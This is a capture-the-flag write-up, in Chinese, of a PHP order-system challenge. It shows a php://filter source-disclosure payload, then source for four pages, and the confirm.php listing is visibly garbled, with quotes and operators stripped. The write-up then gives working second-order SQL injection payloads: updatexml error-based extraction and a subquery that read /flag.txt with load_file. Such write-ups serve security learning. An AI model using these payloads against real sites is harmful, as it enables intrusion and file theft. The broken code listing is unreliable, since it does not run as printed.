目录
- 题目分析
- 功能点分析
- 伪协议读取源码
- search.php
- change.php
- delete.php
- confirm.php
- 代码分析
- 解法一
- 解法二
题目分析
功能点分析
看到查询界面,第一时间想到了xss,经过测试存在xss,但没用
然后想到了sql注入,注册的时候在地址的位置输入一个单引号,再点击修改收货地址的时候报错(为什么直接测地址的输入框呢?纯第六感)
将报错注入的payload写上去,并没有成功读到内容,猜测变量应该是在sql语句中的位置不对
伪协议读取源码
右键查看页面源代码
发现一个file参数,尝试伪协议读取代码
payload:?file=php://filter/read=convert.base64-encode/resource=index.php
读取成功,base64解码后得到源代码
然后又分别读取了以下页面的代码
search.phpchange.phpdelete.phpconfirm.php
search.php
<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
change.php
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
delete.php
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
confirm.php
phprequire_once config.php;
var_dump($_POST);if(!empty($_POST[user_name]) && !empty($_POST[address]) && !empty($_POST[phone]))
{$msg = '';$pattern = 'selectinsertupdatedeleteandorjoinlikeregexpwhereunionintoload_fileoutfilei';$user_name = $_POST[user_name];$address = $_POST[address];$phone = $_POST[phone];if (preg_match($pattern,$user_name) preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = select from `user` where `user_name`='{$user_name}' and `phone`='{$phone}';$fetch = $db-query($sql);}if($fetch-num_rows0) {$msg = $user_name.已提交订单;}else{$sql = insert into `user` ( `user_name`, `address`, `phone`) values( , , );$re = $db-prepare($sql);$re-bind_param(sss, $user_name, $address, $phone);$re = $re-execute();if(!$re) {echo 'error';print_r($db-error);exit;}$msg = 订单提交成功;}
} else {$msg = 信息不全;
}
代码分析
先丢到代码审计系统里边自动审计一下
显示change中可能存在sql注入
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
去掉双引号的sql语句为
update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];
代码中将$use_name和$number进行了过滤,没有对$address进行过滤,可以对该参数进行构造
有两种思路
1、使用报错函数,注册的时候构造address字段,点击修改信息时,会调用注册时输入的address的内容,从而产生二次注入
2、修改订单时使用子查询给address赋值,然后点击查询订单也可以得到我们想要的信息
解法一
报错函数的位置在where后面,构造payload
payload:1' where `user_id`=updatexml(1,concat(0x7e,database(),0x7e),1)#
注册完成后点击修改订单,输入姓名、电话后点击提交,注入成功
按照正常思路,接下来爆破库名、表名、字段名,然后得到flag
然而,本题的flag在flag.txt文件中(呜呜红温了)
同样的操作方法
payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
这个报错函数只显示30位,再查询后面几位
payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),31,60)),0x7e),1)#
解法二
先看payload
payload:address=',`address`=(select(load_file("/flag.txt")))#
构造后的sql语句
原查询语句:update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];
构造后语句:update `user` set `address`='',`address`=(select(load_file("/flag.txt")))#
通过子查询,将所有的address全部赋值为我们要查询的内容,然后通过查询订单得到内容
提交一个正常的订单,然后在修改订单界面输入payload,点击修改订单
然后点击查询订单